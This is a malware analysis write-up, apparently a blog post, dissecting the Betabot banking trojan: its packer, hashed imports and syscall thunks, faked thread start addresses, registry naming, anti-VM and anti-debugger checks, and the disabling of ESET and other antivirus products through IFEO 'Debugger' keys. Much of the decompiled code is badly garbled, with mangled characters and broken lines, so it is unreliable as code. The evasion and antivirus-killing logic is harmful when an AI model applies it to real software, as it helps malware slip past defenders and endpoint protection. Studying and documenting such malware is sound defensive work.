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AKA Alpha reverse engineer vs Betabot

Betabot is a malware that by now should be familiar to most, if only in name. Initially
developed in 2013, the last version, 1.8.0.11, was released around 2015-2016 and a crack
was made around September 2016 which eventually became public. Rumors of a 1.9 version
were heard of, however no binaries were ever seen that corroborated this, so it is safe to say
that development has ceased completely since then. Despite this lack of updates, Betabot is
still widely used — a recent Kaspersky report suggests that it accounts for 3.5% of their
banking malware detections in 2020, up from 2019’s 2.4%. Comprehensive deep dives into
the malware is lacking — the closest thing to this is the excellent 2013 analysis by Zhongchun
Huo — and as such this series will aim to provide such a comprehensive overview covering
everything notable that is in the binary.

In this post, we’ll be analyzing a cracked 1.8.0.11 binary, which is also known as “Neurevt”
due to the string being present in the binary. What is great about this crack is that unlike a lot
of cracks where integrity checks and anti-RE code are either entirely removed or
circumvented by patching deeper inside the binary, the reverse engineer has kept them
entirely intact and generated the correct checksums instead, meaning that the binary we get
from the crack is effectively identical to what the original malware author would’ve given us.
There are at least 10 different integrity checks for the config spread throughout the binary — if
any of these fails, the bot will not function properly. In addition, this is the main crack that is
floating around, so virtually all Betabot binaries that are observed in the wild will be identical
to this (with the exception of configuration values changing of course). Another implication of
analyzing this binary is that the specific protocol version (Betabot has had several
incremental protocol updates throughout its history) is version 1.8.0.6 for the response, and
1.8.0.5 for the bot request. This should not matter much at the end of the day however — as
there are no other relevant copies of Betabot available.

We will start out with the general methodology of reverse engineering Betabot and the basic
building blocks of the malware, and then start looking at the most important parts of Betabot.

The first layer

We first start with the initial Betabot binary, which is a loader of sorts. The first layer is a fairly
typical packer. It sets an exception handler to relaunch itself upon a crash, and also detects
debuggers through the PEB.
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LonG _ stdcall ExceptionFilterRestartUponCrash(str _EXCEPTION_POINTERS tionInfo)

ptionRecor tionCode;

dFileOnDiskName, v2, @, @, @, Bu, @, @,

ion.hProcess )

The packer then xors an encrypted buffer and decompresses it using aplib, before finally
mapping and executing it. The mapping is a bit special as the PE header at the beginning of
the buffer is fake, while the real PE header is semi-custom and encrypted.
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vold _ stdcall executeBbPaylo: *al, unsigned int a2, int source)

npedPE_, (int)MappedPE_}) )

s [LPVOID}newAdd

The inner payload

In order to analyze this payload, | simply dumped it directly from memory at the OEP to avoid
dealing with the PE header issues and then used fasm to generate a PE file that would allow
me to analyze the dump in IDA. The simple FASM template is included in the appendix.
From this point on, all analysis is done statically using IDA Pro.

Entrypoint(s) and import handling

The payload has 3 entrypoints, a primary one and two others that are executed by the
injector for other functionalities (I believe it is for the botscript loader and the ring3 kit, which
is discussed in the later section). All entrypoints call the same common-entrypoint function,
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however they differ in that they store their own address to a variable that is used to
determine which entrypoint was called, in addition to setting two other flags to indicate to
other functions which entrypoint was used.

lint __stdecall entrypoint _main(int al)
;
f

currentEntryPoint = entrypoint main;
valueSetByInjector = 1;

One of the things the common entrypoint does is initializing the imports, which are stored in a
global structure. This structure is initialized from a table of hashes (which | named
ImportHashTable) which takes the following form.

( (2)) importHashEntry

32t hash;
uint32_t ptrStore;

apiNamelen;
indexD11;

Hash, apiNameLen and indexDIl should be fairly self-evident, however ptrStore is a very
strange entry — it points to members in another structure (which | named
ImportTableRegular) that receives the final pointer. This structure is simply a bunch of
pointers to imported APls.

DLLs are loaded from a similar struct which is stored in an array — and then APIs are loaded
from a custom hash which combines the DLL name and API| name together.
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- (1 =8; i <« 8xD; ++i
modules[i].modAddres
t)bbGetModuleHandleA(modules);
modules[1].modAddress = (int)bbGetModuleHandleA(modules[1].ModName);
if ( !modules[@].modAddress || !modules[1].modAddress )
InitD1lImports(modules, @, ImportHashTable, @x253u);
< GetExpectedImportCount(@, (int)ImportHashTable, @x253u

=Tur o

InitD1lImports(modules, 1, ImportHashTable, @x
GetExpectedImportCount (1, (int)ImportHashTable, @
11 < vie )

vEe = bbAtow(modules[j].ModName);
(ve )

loadedMod = ImportTableRegular.LoadLibraryW(vé);
if ( loadedMod )
{

modules[j].modAddress = (int)loadedMod;
v4 = InitD11Imports(modules, j, ImportHashTable, @x253u);
if { v4 < GetExpectedImportCount(j, (int)ImportHashTable, @x253u} )

success = 8;

success = B8;

EbFree_(wS);

initldrGetProcedureAddressThunk(this);
InitAdditionalApis(&ImportTableRegular);
RtlZeroMemory(mainModulePath, 528u);
if ( ImportTableRegular.GetModuleFileNameW(®, (LPWSTR}mainModulePath, 253) )
1
mainModuleFileName = ImportTableRegular.PathFindFileNameW(mainModulePath);
if ( mainModuleFileName )
1
if ( !ImportTableRegular.lstrcmpiW(mainModuleFileName, L™f
&& !ImportTableRegular.GetModuleHandleA( " "nspr4.d11™)
&& !ImportTableRegular.LoadLibraryA("nspr4.d11") )
1

irefox.exe™)
ImportTableRegular.LoadLibraryA("nss3.d11");

clearUnknownstruct();

if { doThunkFunctions == 1
setupSyscallThunks(this);

clearLdrGetProcAddressThunk(this);

this->isImportInitializedSuccessfully = 1;

<y




__stdcall hashTwoStringsTogether( BYTE *al,

int len; eax
char strfin[!

__stdcall unknownHash(char *str, int len)

The most interesting part is in how Betabot does not just load the pointers for some APIs — it
also creates a table of thunks for them. The first thunk for LdrGetProcedureAddress is a
simple push-ret stub and is not stored in the global thunk region. For all other thunked
functions, the thunk is placed in the global thunk region and has a small structure appended
marked with the magic value (OxF820ABO06) containing the original pointer. The thunk itself
depends on the kind of function — if the function is a service function (for example a syscall
stub, or a thunk itself), it is copied in its entirety to the new thunk region. If the function
appears hooked, a special thunk stub is used instead.
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void *_ usercall initLdrGetProcedureAddressThunk@<eax:(BbImportRegular *globalInfo@<ebx:)
{

void *thunk; esi

void *pldr GEFP ccedu’eﬂdd’ess; eax

const void * ecx

MEMORY BASIC IN'..R ATION dest; [esp+ah] [ebp-28

char "c[ll] [esp+2@h] [ebp-Ch] BYREF

thunk =
pLdrGetProcedurefddress =
if ( pLdrGetProcedureAddre
i

(void *)ThunkedFunctionGetOriginal((veid *)ImportTableRegular.LdrGetProcedureAddress);
ess )

memset(&dest, @, ;i‘ecf'de;.));
v3 = (const void *)globallnfo->LdrGetProcedureAddressThunk;

if ( ImportTableRegular.VirtualQueryEx
&% ImportTableRegular.VirtualQueryEx((HANDLE)-1, v3, Bdest, 28)
&% dest.AllocationBase
&% (dest.AllocationProtect == || dest.AllocationProtect

thunk = (void *)globalInfo->LdrGetProcedureAddressThunk;

* )push ret_stub;
( D. ORD * . ( RB “)push ret_stub + 1);
*)push_ret_. stub + 4);
] * =)push ret stub + _.),
*(_DWORD *)&src[4] = ThunkedFunctlonGetOrlginal(fvcid *)ImportTableRegular. LdrGetProcedureAddress) + 5;
thunk = ImportTableRegular.VirtualAlloc(®, 43, 12288, }s
if ( thunk )
memcpy (thunk, src, @xBu);

thunk = @;
globalInfo->LdrGetProcedureAddressThunk = (int)ﬂiﬂ1k;

glo
ﬁ-d'fetP’:cedu’eédd’ess = thunk;

return pLdrGetProcedurefAddress;

if ( !ImportHashTable[i].indexD1l
&% (unsigned _ int8)*fnPtr ==
&% *{ DWORD *)(fnPtr + 1) < @ u )}/ mov eax, WXMXHKX

"(unsigned _ intle *
{unsigned _ intB)fnPtr[5] =
nun;lgned __int8)f nP—’[ ]
* *)fnPtr + 5) =
riceFunc = 1;
*(_DWORD *)(fnPtr + 5) == @x 54 }// call dword ptr fs:[@Ceh]
isserviceFunc =
if ( (unsigned _ int8)fnPtr[5] BxE3 && (unsigned _ int8)fnPtr[18] == @xC2 )// call, ret

isServiceFunc

isServiceFunc ==

memcp;.-«01d *JeurrentThunk, 'nF' sy s'allsi:e);
currentThunk +
rrentThunk + @
(_ D (currentThunk + Bx44) A6 ;
*ImportHashTable[i].ptrStore = (void ”)-u”en tThunk;

Service functions are directly copied




*fnPtr != @x63 *(_WORD * tr 1= Bx2- /f push dword, jmp dword ptr xxxxx, hooked

isThunkedFunction = 8;
F ”Fun;igned
&& fnPtr[2] =
&& ° -un;lgned

izThunkedFunction = 1;

se if ( *(unsigned _ intle *)fn
&& (unsigned infﬁjinP:'[ ] == @
&& *(unsigned __intl6 *}(fnPtr + 3

isThunkedFunction = 1;

se if { *{umsigned __intl6 *)fnPtr == @x
&& fnPtr[2] == @x55
&& (unsigned __ intB)fnPtr[3] == @xCC )

izThunkedFunction = 1;

f { ”fun:igned intlée *)fnPtr == @xCCl
&& fnPtr[2] == @x55
&& (unsigned lnfﬁj fnPtr[3] =

izThunkedFunction = 1;
f { isThunkedFunction == 1 )

memcpy( (void *)currentThunk, thunkCopied,

*(_DWORD *)(currentThunk + @x4@8) = fnPtr;

*(_BYTE *){currentThunk + @x48) = 3;

*(_DWORD *)(currentThunk + @x44) = @

*{ DWORD *)}(currentThunk + 1) = fnPtr;
*ImportHashTable[i].ptrStore = (wvoid *)currentThunk;

int _ usercall ThunkedFunctionGetOriginalfi<eax>(unsigned int thunkPtr{g<eax:)
thunkType; cl
F{ thunkPtr }

if { ImportTableRegular.thunkRegicnStart )

i

if { ImportTableRegular.thunkRegionSize )

if ( thunkPtr »= ImportTableRegular.thunkRegionStart
22 -hun\P-’ <= ImportTableRegular. fhunkReglcnSPa’f -+ ImpnrtTahleRegular thunkRegionSize
&8 *( DWORD *)(thunkPtr + @x44) == BxF320ABGG thunk magic value marker
{
thunkType = *{_BYTE *}(thunkPtr + J>;E);
if ( thunkType == 2 || thunkType == 1 || thunkTy ype == 3 )
thunkPtr = *{ DWORD A j--hun\P-’ + Bedl);// original func ptr

~eturn thunkPtr;

ode for retrieving the original pointer of a thunked function pointer
Code for automatic handling of the imports will be attached in the appendix after it is cleaned

up.




After initializing the import table, Betabot creates the registry key
‘HKCU\\Software\\AppDataLow\\Software\\MyMailClient”, which is used to track the crash
count (more on this later).

Thread manager

Betabot has a slot-based system for managing its threads. This thread tracker supports
tracking either 256 or 45 threads depending on whether the current process is Betabot’s
main process or not.

char _ usercall allocateThreadTr

ount = 45
hreadCount
dThreadInfe =

ImportTableRegular.Initialize

&% ImportTableRegular.Initialize

As we can see, there are either 45 or 256 slots available in the thread tracker. The first 31
(starting from slot 0) are reserved for special usage, slot 31 and 32 are markers indicating
that the thread is a “free” thread without a hardcoded index, and will be dynamically allocated
a space starting from slot 34.

ZunknownCriticalSection);

ortTableRegular. LeaveCriticalSection(&unknownCriticalSection);
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int findNextFreeThreadslot()
1
unsigned int i; edx
DWORD realPointer; Eax
int newIndex; esi

if { !trackedThreadInfo )

=1l 50
enterThreadTrackerCriticalSection();

- ]

if ( (unsigned int)(trackedThreadCount - 34) <= 34 }// need at least 68

newIndex

realPointer = (DWORD)}&trackedThreadInfol ].threadstartPtr;
vhile ( *(_DWORD *)realPointer )
{ »

++i;

realPointer += B@xAd;

if ( 1 »= trackedThreadCount - 34 )

FATIL;

newlIndex = i;

iEaveThreadTrackerCriticalSection(j;
~eturn newIndex;

When Betabot creates a new thread, it fakes the thread starting address as either being in
Kernel32 or being in Ntdll. It chooses the address as follows.

if ( bbRand() % 6 )
{
if ( !(bbRand() % @xa) )

dllPtr = (char *)pKernel32;
if ( pKernel32 )
1
izeMax = GetPEImageSize((void *)pKernel32);

to LABEL_28;

dl1Ptr = (char *)phtdll ;
if ( !pNtdll )

goto LABEL

]
GetPEImageSize(phNtdll_);

v23

dllPtr = (char *)phtdll ;
(Th'egdlnfc *)ImportTableRegular.GetProcAddress (pNtdll , “"ZwMapUserPhysicalPagesScatter™);
ImportTableRegular.GetProcAddress{dl1Ptr, "ZwhWows4CallFunctiongd™);
Eiz - (_BYTE *)pZwApi;

\ImportTableRegular.GetP'ccAdd’ess(dlLP:’, "ZwWaitHighEventPair");
c A
( !'pZ )

*ypZwApl + bbRand() ¥ (diff - 1);

! = ThunkedFunctionGetOriginal({ImportTableRegular.CreateThread);
fakeStartAddress = (char *)((bbRand() & @x1FFF) + wl4);




To fake the thread start address, it creates the thread suspended at the address, and then
change the Eax register to a custom stub which will receive the threadInfo structure and do
the final processing to call the desired function. This works because the thread is still in
BaseThreadInitThunk and hasn’t called the target function yet — it will do so by reading Eax
which contains the new thread’s function.

putBuffe
utBuffe

rtAddress, threadInfo, 4, &tid);

ImportTableRegular.CloseHandle(hThread);
hThread = 8;

impnrtTahlERegularJ
bleRegular.

threadInfo->threa
ImportTableRegular andle(threadInfo->threadEvent);

The new stub it is st to ftion | called EaxProc, which first hides itself from debuggers
by using NtSetinformationThread, and then finally register itself in the thread tracker
structure.
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c ( ThreadInfo *al I

LOBYTE(al->unknownFlz
ImportTableRegular.TlsSet

ImportTableRegular.MtSetInfo
if { EaxProcInterna b

bbFr

inputBuffer )

1-»infoBuf);

élEarThrEadCreatiDnInfDStruct{
bbFre
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->threadEvent && (info->unknownFlags & 4) == @ )
1 = info->unknownFlags;
{ (vl & 4) != @ && linfo-reventName[@] )

vi&2) =@ )

if ( (imfo-»unknownFlags & 4) != @
eventHandle = ImportTableRegular.OpenEventA( s 8, info-reventName);
eventHandle = info-»threadEvent;
newlndex = info->trackerIndex;
ImportTableRegular.DuplicateHandle ((HANDLE)-1, (HANDLE)-2, (HANDLE)-1, &heventDup, B, @, 2);
if ( hewventDup
|| (ImportTableRegular.DuplicateHandle((HANDLE)-1, (HANDLE)}-2, (HANDLE)-1, &heventDup, 67, @, @), heventDup) )
1
info->unknownFlags |= 2u;
info-»size = 164;
info->threadHandle = (int)heventDup;
info->threadld = ImportTableRegular.GetCurrentThreadId();
enterThreadTrackerCriticalSection();
if ( (newIndex == || newIndex ==
&& (newIndex = findNextFreeThreadSlot()) == @
|| trackedThreadCount &% newIndex » trackedThreadCount )

{

if ( ewventHandle )
ImportTableRegular.CloseHandle(eventHandle);

if ( heventDup )
ImportTableRegular.CloseHandle(heventDup);

trackedThreadInfo_ = trackedThreadInfo;
info->trackerIndex = newIndex;
index = newIndex;
memcpy (&trackedThreadInfo_[index], info, sizeof(ThreadInfo));
if ( ewventHandle )
1
ImportTableRegular.SetEvent(eventHandle);
if ( (info-»unknownFlags & 4) != @ }
{
ImportTableRegular.CloseHandle (eventHandle);
trackedThreadInfo_ = trackedThreadInfo;
info->threadEvent = 8;
trackedThreadInfo_[index].threadEvent = 8;

importTableRegular.TlsSetValue(tlsAllocations[;], info};

My
ieaveThreadTrackerCriticalSection();

{
if ( (info->unknownFlags & 4) != ® && eventHandle )
ImportTableRegular.CloseHandle(eventHandle);

EH

Back to the creator thread, it waits for it for 2 seconds and then sets the appropriate ACL if
requested and then returns.

Registry manager

Betabot has a two-level registry structure that uses a pseudorandom algorithm to generate
registry names from seed values. A value is referred to by two strings, its group and
subidentifier. Known groups are CS1 and CG1. The registry path is identified as follow
(where str1 is the group ID):




int _ userpurge generateKeySubPathFromAltHWID@<eax>(unsigned int keySizef@<eax>, _BYTE *keyBuf@<ebx>, _BYTE *
char value[256]; [esp+ah] [ebp-188h] BYREF
1 && keyBuf && keySize )
if ( altHWID[@] == || getAlternativeHWIDAsGUIDString() )

memset(keyBuf, @, keySize);
memset(value, B, sizeof(value});
pseudorandomString(strl, wvalue, 8x186u);
bbwvnsprintfa_e(

"Software\\AppDatalLow\\Software\\¥s\\%
{const char *)altHWID,
dynamicCTX->hashedUID ~ @x181CF2,
value);

~eturn strlen(keyBuf);

importTahleRegular.Set_astE"c'(E_);

The registry value name is generated from the subidentifier as follow:

int _ stdcall pseudorandomString(const char *stringl, BYTE *stringout, unsigned int sizeout)
{

int v3; edi

int wv4; ebx

unsigned int v5; edi

int size; eax

const char *buf; BCX

char inStr[256]; [esp+dh] [ebp-278h] BYREF

_BYTE bufl[256]; [esp+184h] [ebp-178h] BYREF

hashInternalStruct ctx; [esp+284h] [ebp-78h] BYREF

=)

int a2a[5]; [esp+26Bh] [ebp-14h] BYREF

nstr, @, sizeof(inStr));
memset(bufl, @, sizeof(bufl));
memset(a2a, @, sizeof(a2a));
v3 = dynamicCTX->hashedUID;
bbwvnsprintfA_@(bufl, 255, "¥s¥%s_%p", stringl, stringl, (const woid *)v3);
vd = strlen(bufil);

((v3 ~ (unsigned int)(unsigned _ intle)probably crcl6(bufl, w4)}) + 255) ¥ oxA + 11;
izeout )
] sizeout;

bbHash(&ctx, bufl, w4);
if ( bbHashFinalize(&ctx, a2a) )

bbwvnsprintfA e(instr, 255, "X¥esx¥esxXes:xXesx", a2a[e], a2a[l], a2a[2], a2a[3]);

size = v5;

buf = inStr;

size = sizeout;

buf = stringl;
étrcpy_s_prabahly{si:e, buf, stringout);
~eturn strlen(stringout);

The appendix contains information on known subidentifiers and their meanings.

Anti-analysis




Betabot employs several methods for the detection of virtual machines, sandboxes and
debuggers. Detection of sandboxes and debuggers result in the bot artificially
crashing/exiting, whereas VM detections are stored in some variables and do not result in a
crash — however it will result in behaviors being modified in some specific code paths.

1.d11") || bbGetModuleHanc ")} || bbGetModuleHandle

int AntiAnalysisCheckModule()
r
L

result;

] [ebp-2h]

ulePresent();

ellcodeWaitForsingleObjectself() )

S i
ImportTableRegular.Nt rendPr
result = ImportTableRegular.Nt ( (HANDLE)

ESULT,

Several antidebug tricks are also littered throughout regular functions — for example the
following detection and crash appears in the middle of the initialization of the Dynamic
Context structure.

if ( ImpﬂrfTaL yInformationPr
(H

*)ThunkedFunctionGetOriginal( (void *)ImportTableRegular.NtCreateFile);

int)phtCreateFile);
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int isWirtualMachine()

int result; eax

int vlj; eax

HANDLE wv2; eax

int v3; eax

_BYTE al[64]; [esp+@h] [ebp-48h] BYREF

( displayDevice_cmpvmware[@]
&& displayDevice cmpvmware[1]
&% displayDevice_cmpvmware[3
&8 displayDevice_cmpvmware[4]
&& displayDevice cmpvmware[5]

memset(al, @, sizeof(al});
strecpy_s_probably(-1, str_HGFS,
vl = strlenfal);
decryptstring(vl, (int)al, al, @x16);
ImportTableRegular.CreateFileA(al,
v2 != (HANDLE)-1 )
FOTo
memset(al, @, sizeof(al));
strecpy s _probably(-1, str_VBoxGuest, al);
v3 = strlen(al);
decryptString(v3, (int)al, al, 22);
v2 = ImportTableRegular.CreateFileA(al, 1, 1, @, 4, 8, @);
( v2 == (HANDLE)-1 )

if ( currentEntryPoint == entrypoint_unknownl || currentEntryPoint == entrypoint_unknown2 }
isInvM();

result = @;

ImportTableRegular.CloseHandle(v2);

result = 1;

int isInvM()
{
int result; eax
char a5[260]; [esp+8h] [ebp-38Ch] BYREF
_WORD fullPath[26@]; [esp+l@Ch] [ebp-288h] BYREF

memset (a5, @, sizeof(a5));
if ( readRegA("HARDWARE\\DESCRIPTION n\ \BIOS" * temManufacturer”, a5)
&% ImportTableRegular.StrStrIA(as,

{

1;

r‘nemset(ai, 8, sizeof(as)):

if ( readRegA( "HARDWARE\\DESCRIPTION\\Sy " » "SystemBiosVersion™, a5) )
{

if ( ImportTableRegular.StrStrIA(a5, "

! L3

Impo?éfébieReéaiar.Path;!.ppendu.'
ImportTableRegular.PathAppendu(
if ( FileExists(fullPath) )

goto L (I H
ImportTableRegular.PathRemoveFileSpech(fullPath);
ImportTableRegular.PathAppendW(fullPath, L"v

if ( FileExists(fullPath) )

FAIEL LrllEE T
ImportTableRegular.PathRemoveFileSpech(fullPath);
ImportTableRegular.PathAppendw(ful
if ( FileExists(fullPath})

|| (ImportTableRegular.PathRemoveFileSpechi(
ImportTableRegular.PathAppendW(fullPath,
FileExists(fullPath)) )




There also appears to be a bug in the isVirtualMachine routine — the result of isinVM is
discarded. Regardless, if a VM is detected, it sets 2 variables and the bot attribute flag for
VMs.

; CODE XREF: isVirtualMachine+DCTj
FD FF FF
; CODE XREF: isWirtualMachine+E3tj

; CODE XREF: isVirtualMachine+D@tj

Attribute()

isVM = isVirtualMachine() != @;

( =1}
BotAttribute |=

1 isVM;

In addition to this, Betabot also detects the presence of Ollydbg, Regmon, ImmunityDbg,
Rohitab’s APl Monitor, Procmon, IDA Pro. It also checks whether the disk contains the string
VMWare or VBox.
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EE ¥ [== Il
char firstDiskName[26@]; [esp+33Ch] ELF
_BYTE strTemp[256]; [esp+a4ah] ELF'_Euh

memset(vl4, 8, sizeof(vld));

memset({ala, @, sizeof(ala}};
memset(firstDiskName, @, sizeof(firstDiskName)});
memset(strTemp, 8, sizeof(strTemp));

vl = strlen(s_Regmon};

decryptstring(vl, (int)s_Regmon, strTemp, @x17);
if | ImpurtTahlEREgular -1ndﬁ1ndCAH-,, strTemp) )

o MM DA

MEMSEtLST’TETP, @, SiZECfLST’TEijj;

v3 = strlen(s0llyDbg};

decryptstring(v3, (int)s0llyDbg, strTemp, @x17);
if [ ImpurtTahlEREgular -1ndﬁ1nanH|5: Temp, @) )

EOLO LUINLY BrAly WINLMAWL 5

memsetgs:’TE1p, a, 5lzecf(5:’TEijj;

vd = strlen(sImmunityIncRegistry);

decryptString(v4, (int)sImmunityIncRegistry, strTemp, @x17);
if | regExists( » strTemp) == 1 )

goto FOUND_BAD WINDOW2j
memset({strTemp, ©, sizeof(strTemp));
v5 = strlen(sGMER);
decryptstring(vs, (int)sGMER, strTemp, @
if ( ImportTableRegular.FindWindowA(2,

memset(strTemp, 8, sizeof(strTemp));

vE = strlen(sAPI_Monitor_ Rohitab};
decryptstring(ve, (int)sAPI_Monitor Rohitab, strTemp, @x17);
if | ImpurtTahlEREgular -1ndﬁ1ndCAH-,, strTemp) )

o MM DA

goto FOUND BAD WINDOWI;
memsetnst'Te1p, a, 51:ecf(st'TEijj;
w7 = strlen(sProcmonWindow} ;

decryptstring(v7, (int)sProcmonWindow, strTemp, @x17);

if ( ImpurtTahlEREgular FindWindowA(strTemp, @) )

EOTO DUND_BAD WINDOW2 ;

memsetgs:’TE1p, @, sizeof(str Temp});

v8 = strlen(sIdaWindow);

decryptString(vd, (int)sIdaWindow, strTemp, @x17);
if [ ImpurtTahlEREgular 'lﬂdﬁlﬂdﬂﬁrli_ Temp, @) )

goto FOUND BAD WINDOWI;
memset({strTemp, ©, sizeof(strTemp));
v9 = strlen(sDiskEnum};
decryptstring(v®, (int)sDiskEnum, strTemp, @x17)};
if ( readRegA(strTemp, 259, s 8", firstDiskName)
1
if ( firstDiskName[@] )
1
memset({strTemp, @, sizeof(strTemp));
v1® = strlen(svVmware);
decryptstring(vle, (int)sVmware, strTemp, 23};
if [ strInStr(""_E_JxIa1E) strTemp) > 12 )

goto FOUND

MEMSEtIST’TE1F, a, :izecf{s:’TEijj;

vll = strlen{svbox);

decr;ptStrlngns__, (int)svbox, strTemp, 23);
(firstDiskName, strTemp 12

AL WL L




It also tries to see whether its parent process is suspicious, and logs the information found
inside the dynamicCTX and registr

int isParentProcessSuspicious()
1
DWORD explorerPid; esi
HANDLE hproc; esi
unsigned int parentProcName; edi
bool isMotBad; cc
DynamicContext *dctx; esi
_WORD procname[262]; [esp+8h] [ebp-228h] BYREF
PROCESS_BASIC_INFORMATION procinfo; [esp+214h] [ebp-1Ch] BYREF
int v8; [esp+22Ch] [ebp-4h] BYREF

explorerPid = GetExplorerPid();
vd = 83
memset(&procinfo, @, sizeof(p info});
if ( (dynamicCTX-»CurrentProcessType & @x2@) != @ )
eturn 2;
if ( ImportTableRegular.NtQueryInformationProcess({HANDLE)-1, info, 24, (PULONG)&vB) < @
|| precinfo.InheritedFromUniqueProcessId <= (PVOID)4 )

a:
if ( procinfo.InheritedFromUniqueProcessId == (PVOID)explorerPid )

dctx = dynamicCTX;
if ( strContains(dynamicCTX->modulelongName, L"\\Desktop”) > @ )

L3

isNotBad = strContains(dctx->moduleLongName, L"Documents™) <= @;

hproc = bbNtOpenProcess((int)procinfo.InheritedFromUnigueProcessId,
f ( !'hproc )

parentProcName = getProcessImageName(hproc, procname);
ImportTableRegular.CloseHandle(hproc);
if ( parentProcName <= @xA )
return @3
if ( strContains(procname,

"indo"™) > @ &R strlontains(procname, L"taskmgr.exe") > 6 )
0 1;

isNotBad = strContains{procname, L"procexp.exe™) <= 6;

tft," !isNotBad;

t isRunningUnderSuspicicusCircumstances()

DynamicContext *v@; ecx

int vl; eax

int isSuspicious; esi

int parentSuspicious; eax

int flagAnalysis; [esp+Ch] [ebp-4h] BYREF

dynamicCTX;
dynamicCTX->isFullyOwnedProcess;

isSus us = 83
if ( is_last bit clear and_not zero(vl) == 1 )
{
parentSuspicious = isParentProcessSuspicious();
v = dynamicCTX;
if ( parentSuspicious == 1 )
dynamicCTX->flagSelf |=

if ( !is_last_bit clear and not zero(v@->isFullyOwnedProcess)
8% (currentEntryPoint == entrypoint_unknownl || currentEntryPoint == entrypointRunPeMaybe) )

(0sverfFlag & ) != @ && (v@->CurrentProcessType & 1) != @ }// explorer
isSuspicious = 13
& && (v@-:CurrentProcessType & 2} != @ }// browser
1;
ious == 1 && isUnderAnalysis(&flagAnalysis) == 1 }// gmerFound

bbWritePseudorandomRegkey("CG1", "NDC", &flaghnalysis, 4);

;InterlockedExchange(&SDmeLockZeroedAtHain, 13};

]




AV handling

Betabot detects AVs and modifies its behaviors based on what AV is installed. In addition to
this, it also is capable of attempting to kill AV solutions. To detect AVs, Betabot has several
signature packs with the format below, which are used to search in various places such as
services, Run key entries, and SOFTWARE registry keys.

; XREF: getInstalledAVs:loc_25776DA/r

; getInstalledAVs+11B/r ...

; XREF: getInstalledAVs:loc_25776DA/r

; getInstalledAVs:loc 2577863/r ...

; XREF: getInstalledAVs+11B/r

; getInstalledAVs+147/r ...
asVerMatch dd ? ; XREF: getInstalledAVWs+123/r

; getInstalledAVs+2AC/r ...

:EgKE;Fde;E = @;
if ( regOpenu(@, » L"SYSTEM\\CurrentControlSet\\services”, 9, (int)&regkeyHandle) ==

v28 = bbRegGetSubkeysCount(({int)regkeyHandle);
if ( w28 < exe4
v28 = 360;

hile ( 1)
1

v25 = 250;

memset(subKeyName, @, sizeof(subKeyName)});

memset(regPathFinal, @, sizeof(regPathFinal));

regStatus_ = ImportTableRegular.RegEnumKeyExW(regKeyHandle, i, subkKeyName, &v25, @, @, @, @);
if ( regstatus_ )

{

if ( regStatus_ =

i; ( !subKeyName[@] }

AR LeEEL
if ( bbWvnsprintfw @(regPathFinal, 259, L"%s\\¥s", L"SYSTEM\\CurrentControlSet\\services”, subKeyName) > @
{
v7 = bbRegQueryInfoKeyW(regPathFinal);
if ( Iv7 )
{
if ( ImportTableRegular.GetlastError() !=

f ( serviceSig-»sigString[@] )
if ( servicesig->flag )

va viceSig->osVerMatch;
if { (!vo || (vo & OSVerFlag) != 8)
&% !ImportTableRegular.lstrcmpiM(subKeyName, (const wchar t *)servicesig) )
{
flag_ = servicesig-»flag;
F g & 1Flag) == @ )

o <
finalFlag |= flag_;




Betabot is also capable of terminating AVs. The orchestrators’ logic is quite simple and
repetitive.
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&& GetDefenderBinary() == 2 )

if ( bbAVKill Norton368(al) )
{

P

killedAvs = 1;
i ( bbAVKill_Avira() == 1 )

ks

killedAvs |= 8uj;

i ( bbAVKill_ESET() == 1 )

+wd;
if ( bbAVKill AVG() == 1 )

+Hv2s

killedfvs |= 4u;
if { bbAVKill Kaspersky(} == 1 )
+vd;

killedAvs |= 2u;
va = H

if ( bbAVKill Avast() == 1 )

+Hvl;

killedfvs |= @x80u;
if ( bbAVKill Defenderwinl@() == 1 )

+Hv2s
killedAvs |= @x108u;
if { bbAVKill DefenderOld(} == 1
B% vE == 1
&% ((0SVerFlag &
|| (0SverFlag & {

+Hv2s

killedAvs |= @x108u;
if ( bbAVKill Bitdefender() == 1 )

ks

killedAvs |= @x288u;
if ( bbAVKill TrendMicro() )

+Hvl;

To see hw it attacks an AV solution, let’s look at ESET.




F( !éetESETBinaryPath(_ jectedPath) )
bblWstrcpy(26@, injectedPath, vE);
if ( !DoesIFEODebuggerKeyExist(L"ekrn.exe”) &8 !DoesIFEODebuggerKeyExist(L"egui.exe™) )
{

vl = (regShellcodeRequest *)bbMalloc(@x3648u);

regInfo = vil;

hHeap = wlj

if { vl )

Sy
memset(vl, @, @x3648u);
bbRandomStringInternal(12, (int)randFile, @);
bbWstrcat @(L".exe™, randFile, -1);
regInfo->isvalidMaybe = 1;
regInfo->hkey = 5
regInfo->regType = H
bbWstrcpy(-1, L"ImagePath”, regInfo->valueName);
ImportTableRegular.wsprintfw((LPWSTR)regInfo->regPath, L"SYSTEM\\CurrentControlSet\\services\\¥s", L"ekrn")};
bbWstrcpy(-1, randFile, regInfo[l].wvalue);
regInfo[1].regValuelen = 2 * wstrlen(randFile) + 2;
regInfo[2].isValidMaybe = 1;
regInfo[2].hkey = 3
regInfo[2].regType = 8
bbWstrcpy(-1, L"Debugger”, regInfo[2].valueName);
ImportTableRegular.wsprintfid(
(LPWSTR)regInfo[2].regPath,
"SOFTWARE\ \Mi: Fti\Windows NT\\CurrentVersion\\Image File Execution Options\\%s",
"ekrn.exe™);
ImportTableRegular.wsprintfW(regInfo[3].value, L"%s", randFile);
regInfo[3].regValuelen = 2 * wstrlen(regInfo[3].value) + 2;
regInfo[4].isvalidMaybe = 1;
regInfo[4].hkey = 8
regInfo[4].regType = 3
bbWstrcpy(-1, L"Debugger”, regInfo[4].valueName);
ImportTableRegular.wsprintfid(
(LPWSTR)regInfo[4].regPath,
"SOFTWARE "\ \Mi Fti\\Windows NT\\CurrentVersion\\Image File Execution Options\\%s",
"egui.exe™);
ImportTableRegular.wsprintfW(regInfo[5].value, L"%s", randFile);
regInfo[5].regValuelen = 2 * wstrlen(regInfo[5].value) + 2;
ImportTableRegular.PathRemoveFileSpecW(injectedPath);
if ( (0SVerFlag & 8x2@8) != @ )
ImportTableRegular.PathAppendW(injectedPath, L"x86\\ekrn.exe™);
ImportTableRegular.PathAppendW(injectedPath, L"ekrn.exe");
vd = regWriteInjected(injectedPath, 2, regInfo, 3u});
£ (13 )
ImportTableRegular.Sleep(178@);

bbFree(hHeap);

Val:H

Here, we see that it tries to block the AV executables from launching using the IFEO key. It
does not do so from its own context, instead it spawns a new process and injects into it to
perform the registry operation from there. Some AVs do have a custom process that gets
spawned and injected to (this is specifiable in the regWritelnjectedCall) but by default it is
regedit.




